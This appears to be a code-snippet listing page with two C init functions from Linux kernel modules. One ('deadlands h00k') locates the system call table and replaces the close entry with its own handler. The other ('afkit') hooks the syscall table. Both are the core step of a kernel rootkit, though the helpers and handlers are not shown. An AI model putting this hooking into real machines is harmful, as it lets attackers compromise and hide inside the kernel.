Esempio n. 1
0
static int	hookSYS_init(void)
{
    printk(KERN_ALERT "[MSG] deadlands h00k SYS - module init\n");

    syscall_table = get_syscall_table();
    if (syscall_table == NULL)
    {
        printk(KERN_ALERT "[MSG] deadlands h00k SYS - can't grab syscall table\n");
        return -1;
    }
    printk(KERN_ALERT "[MSG] deadlands h00k SYS - grab syscall table @ 0x%p\n", syscall_table);

    save_syscall=*(long(*))(syscall_table+__NR_close*sizeof(void*));
    printk("close located at => 0x%p \n",&save_syscall);

    *(long(*))(syscall_table+__NR_close*sizeof(void*))=&my_sys_close;

    //epiHook(nSYSCALL, &save_syscall, &my_handler);
    printk(KERN_ALERT "[MSG] deadlands h00k SYS - syscall powned!\n");
    return (0);
}
Esempio n. 2
0
// Init function
static int afkit_init(void){
	if(!(syscall_table = get_syscall_table())) return -1;
	hook_syscall_table();

	return 0;
}